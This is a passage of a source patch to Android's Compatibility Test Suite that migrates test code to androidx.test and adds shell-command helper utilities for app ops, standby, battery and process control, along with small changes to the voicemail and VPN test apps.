--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
@@ -17,6 +17,11 @@
 
 package com.android.cts.verifier.sensors.base;
 
+import android.content.Context;
+import android.hardware.cts.SensorTestCase;
+import android.os.PowerManager;
+import android.view.WindowManager;
+
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
 import com.android.cts.verifier.sensors.reporting.SensorTestDetails;
@@ -37,11 +42,6 @@
 import org.junit.runners.model.InitializationError;
 import org.junit.runners.model.RunnerBuilder;
 
-import android.content.Context;
-import android.hardware.cts.SensorTestCase;
-import android.os.PowerManager;
-import android.view.WindowManager;
-
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -109,7 +109,7 @@
 
     /**
      * For reference on the implementation of this test executor see:
-     *      android.support.test.runner.AndroidJUnitRunner
+     *      androidx.test.runner.AndroidJUnitRunner
      */
     @Override
     protected SensorTestDetails executeTests() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
index 3cf34fa..b54637b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
@@ -29,6 +29,8 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.voicemail.VoicemailBroadcastReceiver.ReceivedListener;
 
+import android.view.View.OnClickListener;
+import android.widget.Button;
 /**
  * This test ask the tester to set the CTS verifier as the default dialer and leave a voicemail. The
  * test will pass if the verifier is able to receive a broadcast for the incoming voicemail. This
@@ -38,7 +40,9 @@
 public class VoicemailBroadcastActivity extends PassFailButtons.Activity {
 
     private ImageView mLeaveVoicemailImage;
+    private ImageView mRestoreDefaultDialerImage;
     private TextView mLeaveVoicemailText;
+    private Button mNotApplicableButton;
 
     private DefaultDialerChanger mDefaultDialerChanger;
 
@@ -53,10 +57,23 @@
         getPassButton().setEnabled(false);
 
         mLeaveVoicemailImage = (ImageView) findViewById(R.id.leave_voicemail_image);
+        mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
         mLeaveVoicemailText = (TextView) findViewById(R.id.leave_voicemail_text);
 
         mDefaultDialerChanger = new DefaultDialerChanger(this);
 
+        mNotApplicableButton = findViewById(R.id.call_settings_check_not_applicable);
+        mNotApplicableButton.setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        getPassButton().setEnabled(true);
+                        mLeaveVoicemailImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                        mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                    }
+                }
+        );
+
         VoicemailBroadcastReceiver.setListener(new ReceivedListener() {
             @Override
             public void onReceived() {
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
old mode 100644
new mode 100755
index 9f3f2e7..e25cb91
--- a/apps/VpnApp/api23/Android.mk
+++ b/apps/VpnApp/api23/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
old mode 100644
new mode 100755
index fc2761c..ec36333
--- a/apps/VpnApp/api24/Android.mk
+++ b/apps/VpnApp/api24/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
old mode 100644
new mode 100755
index a8db2d2..0431bef
--- a/apps/VpnApp/latest/Android.mk
+++ b/apps/VpnApp/latest/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
old mode 100644
new mode 100755
index cc1bfec..06731f8
--- a/apps/VpnApp/notalwayson/Android.mk
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
index 58d2bf9..b356369 100644
--- a/apps/VpnApp/notalwayson/AndroidManifest.xml
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -19,6 +19,7 @@
 
     <uses-sdk android:minSdkVersion="22"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
         <activity android:name=".VpnClient">
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
old mode 100644
new mode 100755
index bb8d9a04..1397687
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -33,6 +33,7 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 import android.util.Log;
+import android.os.SystemProperties;
 
 import java.io.IOException;
 import java.net.InetAddress;
@@ -181,6 +182,19 @@
             }
         }
 
+        if (allowedArray == null &&
+            (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+            || SystemProperties.getInt("service.adb.tcp.port", -1) > -1)) {
+            try {
+                // If adb TCP port opened the test may be running by adb over network.
+                // Add com.android.shell application into blacklist to exclude adb socket
+                // for VPN tests.
+                builder.addDisallowedApplication("com.android.shell");
+            } catch(NameNotFoundException e) {
+                Log.w(TAG, "com.android.shell not found");
+            }
+        }
+
         builder.setMtu(MTU);
         builder.setBlocking(true);
         builder.setSession(TAG);
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 5cc7cb5..1973ef9 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -17,7 +17,7 @@
 #
 
 DEVICE_INFO_PACKAGE := com.android.compatibility.common.deviceinfo
-DEVICE_INFO_INSTRUMENT := android.support.test.runner.AndroidJUnitRunner
+DEVICE_INFO_INSTRUMENT := androidx.test.runner.AndroidJUnitRunner
 DEVICE_INFO_USES_LIBRARY := android.test.runner
 DEVICE_INFO_PERMISSIONS += \
   android.permission.READ_PHONE_STATE \
@@ -49,7 +49,7 @@
 endif
 
 # Add the base device info
-LOCAL_STATIC_JAVA_LIBRARIES += compatibility-device-info compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES += compatibility-device-info compatibility-device-util-axt
 
 # Generator of APK manifests.
 MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
diff --git a/common/device-side/device-info/Android.mk b/common/device-side/device-info/Android.mk
index df95d9a..90836d1 100644
--- a/common/device-side/device-info/Android.mk
+++ b/common/device-side/device-info/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
+    compatibility-device-util-axt \
+    androidx.test.rules \
     junit
 
 LOCAL_JAVA_LIBRARIES := \
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index e2459d0..16f7610 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -32,6 +32,8 @@
     private static final String VERSION_NAME = "version_name";
     private static final String SYSTEM_PRIV = "system_priv";
     private static final String PRIV_APP_DIR = "/system/priv-app";
+    private static final String MIN_SDK = "min_sdk";
+    private static final String TARGET_SDK = "target_sdk";
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -45,6 +47,9 @@
             if (pkg.applicationInfo != null) {
                 String dir = pkg.applicationInfo.sourceDir;
                 store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+
+                store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
+                store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
             }
             store.endGroup();
         }
diff --git a/common/device-side/test-app/Android.mk b/common/device-side/test-app/Android.mk
index 6adce97..b6660e8 100755
--- a/common/device-side/test-app/Android.mk
+++ b/common/device-side/test-app/Android.mk
@@ -31,7 +31,7 @@
     compatibility-device-info-tests\
     compatibility-device-info\
     compatibility-device-util-tests\
-    compatibility-device-util
+    compatibility-device-util-axt
 
 LOCAL_PACKAGE_NAME := CompatibilityTestApp
 
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 883b439..3aa5dc5 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.compatibility.common"
                      android:label="Tests for device-side Compatibility common code">
     </instrumentation>
diff --git a/common/device-side/test-app/run_tests.sh b/common/device-side/test-app/run_tests.sh
index 5640260..e4afd12 100755
--- a/common/device-side/test-app/run_tests.sh
+++ b/common/device-side/test-app/run_tests.sh
@@ -35,7 +35,7 @@
 checkFile ${APK}
 
 COMMON_PACKAGE=com.android.compatibility.common
-RUNNER=android.support.test.runner.AndroidJUnitRunner
+RUNNER=androidx.test.runner.AndroidJUnitRunner
 # TODO [2015-12-09 kalle] Fail & exit on failing install?
 adb -s ${SERIAL} install -r -g ${APK}
 build_jar_path ${JAR_DIR} "${JARS}"
diff --git a/common/device-side/util-axt/Android.mk b/common/device-side/util-axt/Android.mk
new file mode 100644
index 0000000..53b4a83
--- /dev/null
+++ b/common/device-side/util-axt/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    $(call all-Iaidl-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-common-util-devicesidelib \
+    androidx.test.rules \
+    ub-uiautomator \
+    mockito-target-minus-junit4 \
+    androidx.annotation_annotation
+
+LOCAL_JAVA_LIBRARIES := \
+    android.test.runner.stubs \
+    android.test.base.stubs
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := compatibility-device-util-axt
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java
new file mode 100644
index 0000000..f3e178b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+public class AmUtils {
+    private static final String TAG = "CtsAmUtils";
+
+    private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity --proto processes";
+
+    private AmUtils() {
+    }
+
+    /** Run "adb shell am make-uid-idle PACKAGE" */
+    public static void runMakeUidIdle(String packageName) {
+        SystemUtil.runShellCommandForNoOutput("am make-uid-idle " + packageName);
+    }
+
+    /** Run "adb shell am kill PACKAGE" */
+    public static void runKill(String packageName) throws Exception {
+        runKill(packageName, false /* wait */);
+    }
+
+    public static void runKill(String packageName, boolean wait) throws Exception {
+        SystemUtil.runShellCommandForNoOutput("am kill --user cur " + packageName);
+
+        if (!wait) {
+            return;
+        }
+
+        TestUtils.waitUntil("package process was not killed:" + packageName,
+                () -> !isProcessRunning(packageName));
+    }
+
+    private static boolean isProcessRunning(String packageName) {
+        final String output = SystemUtil.runShellCommand("ps -A -o NAME");
+        String[] packages = output.split("\\n");
+        for (int i = packages.length -1; i >=0; --i) {
+            if (packages[i].equals(packageName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Run "adb shell am set-standby-bucket" */
+    public static void setStandbyBucket(String packageName, int value) {
+        SystemUtil.runShellCommandForNoOutput("am set-standby-bucket " + packageName
+                + " " + value);
+    }
+
+    /** Wait until all broad queues are idle. */
+    public static void waitForBroadcastIdle() {
+        SystemUtil.runCommandAndPrintOnLogcat(TAG, "am wait-for-broadcast-idle");
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
new file mode 100644
index 0000000..943ebc7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+import java.lang.reflect.Field;
+
+/**
+ * Device-side compatibility utility class for reading device API level.
+ */
+public class ApiLevelUtil {
+
+    public static boolean isBefore(int version) {
+        return Build.VERSION.SDK_INT < version;
+    }
+
+    public static boolean isBefore(String version) {
+        return Build.VERSION.SDK_INT < resolveVersionString(version);
+    }
+
+    public static boolean isAfter(int version) {
+        return Build.VERSION.SDK_INT > version;
+    }
+
+    public static boolean isAfter(String version) {
+        return Build.VERSION.SDK_INT > resolveVersionString(version);
+    }
+
+    public static boolean isAtLeast(int version) {
+        return Build.VERSION.SDK_INT >= version;
+    }
+
+    public static boolean isAtLeast(String version) {
+        return Build.VERSION.SDK_INT >= resolveVersionString(version);
+    }
+
+    public static boolean isAtMost(int version) {
+        return Build.VERSION.SDK_INT <= version;
+    }
+
+    public static boolean isAtMost(String version) {
+        return Build.VERSION.SDK_INT <= resolveVersionString(version);
+    }
+
+    public static int getApiLevel() {
+        return Build.VERSION.SDK_INT;
+    }
+
+    public static boolean codenameEquals(String name) {
+        return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
+    }
+
+    public static boolean codenameStartsWith(String prefix) {
+        return Build.VERSION.CODENAME.startsWith(prefix);
+    }
+
+    public static String getCodename() {
+        return Build.VERSION.CODENAME;
+    }
+
+    protected static int resolveVersionString(String versionString) {
+        // Attempt 1: Parse version string as an integer, e.g. "23" for M
+        try {
+            return Integer.parseInt(versionString);
+        } catch (NumberFormatException e) { /* ignore for alternate approaches below */ }
+        // Attempt 2: Find matching field in VersionCodes utility class, return value
+        try {
+            Field versionField = VersionCodes.class.getField(versionString.toUpperCase());
+            return versionField.getInt(null); // no instance for VERSION_CODES, use null
+        } catch (IllegalAccessException | NoSuchFieldException e) { /* ignore */ }
+        // Attempt 3: Find field within android.os.Build.VERSION_CODES
+        try {
+            Field versionField = Build.VERSION_CODES.class.getField(versionString.toUpperCase());
+            return versionField.getInt(null); // no instance for VERSION_CODES, use null
+        } catch (IllegalAccessException | NoSuchFieldException e) {
+            throw new RuntimeException(
+                    String.format("Failed to parse version string %s", versionString), e);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
new file mode 100644
index 0000000..c9338e4
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_DEFAULT;
+import static android.app.AppOpsManager.MODE_ERRORED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+
+import android.app.AppOpsManager;
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+
+/**
+ * Utilities for controlling App Ops settings, and testing whether ops are logged.
+ */
+public class AppOpsUtils {
+
+    /**
+     * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+     * default op settings.
+     *
+     * <p>
+     * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+     * ends with a reproducible default state, and so doesn't affect other tests.
+     *
+     * <p>
+     * Some app ops are configured to be non-resettable, which means that the state of these will
+     * not be reset even when calling this method.
+     */
+    public static String reset(String packageName) throws IOException {
+        return runCommand("appops reset " + packageName);
+    }
+
+    /**
+     * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+     */
+    public static String setOpMode(String packageName, String opStr, int mode)
+            throws IOException {
+        String modeStr;
+        switch (mode) {
+            case MODE_ALLOWED:
+                modeStr = "allow";
+                break;
+            case MODE_ERRORED:
+                modeStr = "deny";
+                break;
+            case MODE_IGNORED:
+                modeStr = "ignore";
+                break;
+            case MODE_DEFAULT:
+                modeStr = "default";
+                break;
+            default:
+                throw new IllegalArgumentException("Unexpected app op type");
+        }
+        String command = "appops set " + packageName + " " + opStr + " " + modeStr;
+        return runCommand(command);
+    }
+
+    /**
+     * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+     */
+    public static int getOpMode(String packageName, String opStr)
+            throws IOException {
+        String opState = getOpState(packageName, opStr);
+        if (opState.contains(" allow")) {
+            return MODE_ALLOWED;
+        } else if (opState.contains(" deny")) {
+            return MODE_ERRORED;
+        } else if (opState.contains(" ignore")) {
+            return MODE_IGNORED;
+        } else if (opState.contains(" default")) {
+            return MODE_DEFAULT;
+        } else {
+            throw new IllegalStateException("Unexpected app op mode returned " + opState);
+        }
+    }
+
+    /**
+     * Returns whether an allowed operation has been logged by the AppOpsManager for a
+     * package. Operations are noted when the app attempts to perform them and calls e.g.
+     * {@link AppOpsManager#noteOperation}.
+     *
+     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+     */
+    public static boolean allowedOperationLogged(String packageName, String opStr)
+            throws IOException {
+        return getOpState(packageName, opStr).contains(" time=");
+    }
+
+    /**
+     * Returns whether a rejected operation has been logged by the AppOpsManager for a
+     * package. Operations are noted when the app attempts to perform them and calls e.g.
+     * {@link AppOpsManager#noteOperation}.
+     *
+     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+     */
+    public static boolean rejectedOperationLogged(String packageName, String opStr)
+            throws IOException {
+        return getOpState(packageName, opStr).contains(" rejectTime=");
+    }
+
+    /**
+     * Returns the app op state for a package. Includes information on when the operation was last
+     * attempted to be performed by the package.
+     *
+     * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+     */
+    private static String getOpState(String packageName, String opStr) throws IOException {
+        return runCommand("appops get " + packageName + " " + opStr);
+    }
+
+    private static String runCommand(String command) throws IOException {
+        return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
new file mode 100644
index 0000000..eb94b60
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class AppStandbyUtils {
+    private static final String TAG = "CtsAppStandbyUtils";
+
+    /**
+     * Returns if app standby is enabled.
+     *
+     * @return true if enabled; or false if disabled.
+     */
+    public static boolean isAppStandbyEnabled() {
+        final String result = SystemUtil.runShellCommand(
+                "dumpsys usagestats is-app-standby-enabled").trim();
+        return Boolean.parseBoolean(result);
+    }
+
+    /**
+     * Sets enabled state for app standby feature for runtime switch.
+     *
+     * App standby feature has 2 switches. This one affects the switch at runtime. If the build
+     * switch is off, enabling the runtime switch will not enable App standby.
+     *
+     * @param enabled if App standby is enabled.
+     */
+    public static void setAppStandbyEnabledAtRuntime(boolean enabled) {
+        final String value = enabled ? "1" : "0";
+        Log.d(TAG, "Setting AppStandby " + (enabled ? "enabled" : "disabled") + " at runtime.");
+        SettingsUtils.putGlobalSetting("app_standby_enabled", value);
+    }
+
+    /**
+     * Returns if app standby is enabled at runtime. Note {@link #isAppStandbyEnabled()} may still
+     * return {@code false} if this method returns {@code true}, because app standby can be disabled
+     * at build time as well.
+     *
+     * @return true if enabled at runtime; or false if disabled at runtime.
+     */
+    public static boolean isAppStandbyEnabledAtRuntime() {
+        final String result =
+                SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
+        // framework considers null value as enabled.
+        final boolean boolResult = result.equals("1") || result.equals("null");
+        Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
+        return boolResult;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
new file mode 100644
index 0000000..2e88e8a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.BatteryManager;
+import android.os.PowerManager;
+import android.provider.Settings.Global;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Assume;
+
+public class BatteryUtils {
+    private static final String TAG = "CtsBatteryUtils";
+
+    private BatteryUtils() {
+    }
+
+    public static BatteryManager getBatteryManager() {
+        return InstrumentationRegistry.getContext().getSystemService(BatteryManager.class);
+    }
+
+    public static PowerManager getPowerManager() {
+        return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
+    }
+
+    /** Make the target device think it's off charger. */
+    public static void runDumpsysBatteryUnplug() throws Exception {
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery unplug");
+
+        Log.d(TAG, "Battery UNPLUGGED");
+    }
+
+    /** Reset {@link #runDumpsysBatteryUnplug}.  */
+    public static void runDumpsysBatteryReset() throws Exception {
+        SystemUtil.runShellCommandForNoOutput(("dumpsys battery reset"));
+
+        Log.d(TAG, "Battery RESET");
+    }
+
+    /**
+     * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
+     * executed before enabling BS.
+     */
+    public static void enableBatterySaver(boolean enabled) throws Exception {
+        if (enabled) {
+            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
+            putGlobalSetting(Global.LOW_POWER_MODE, "1");
+            waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
+            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
+                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
+                            != getPowerManager().getLocationPowerSaveMode()));
+
+            Thread.sleep(500);
+            waitUntil("Force all apps standby still off",
+                    () -> SystemUtil.runShellCommand("dumpsys alarm")
+                            .contains(" Force all apps standby: true\n"));
+
+        } else {
+            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
+            putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
+            waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
+            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
+                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
+                            == getPowerManager().getLocationPowerSaveMode()));
+
+            Thread.sleep(500);
+            waitUntil("Force all apps standby still on",
+                    () -> SystemUtil.runShellCommand("dumpsys alarm")
+                            .contains(" Force all apps standby: false\n"));
+        }
+
+        AmUtils.waitForBroadcastIdle();
+        Log.d(TAG, "Battery saver turned " + (enabled ? "ON" : "OFF"));
+    }
+
+    /**
+     * Turn on/off screen.
+     */
+    public static void turnOnScreen(boolean on) throws Exception {
+        if (on) {
+            SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_WAKEUP");
+            waitUntil("Device still not interactive", () -> getPowerManager().isInteractive());
+
+        } else {
+            SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_SLEEP");
+            waitUntil("Device still interactive", () -> !getPowerManager().isInteractive());
+        }
+        AmUtils.waitForBroadcastIdle();
+        Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
+    }
+
+    /** @return true if the device supports battery saver. */
+    public static boolean isBatterySaverSupported() {
+        final Intent batteryInfo = InstrumentationRegistry.getContext().registerReceiver(
+                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        if (!batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
+            // Devices without battery does not support battery saver.
+            return false;
+        }
+
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    /** "Assume" the current device supports battery saver. */
+    public static void assumeBatterySaverFeature() {
+        Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java
new file mode 100644
index 0000000..be75671
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
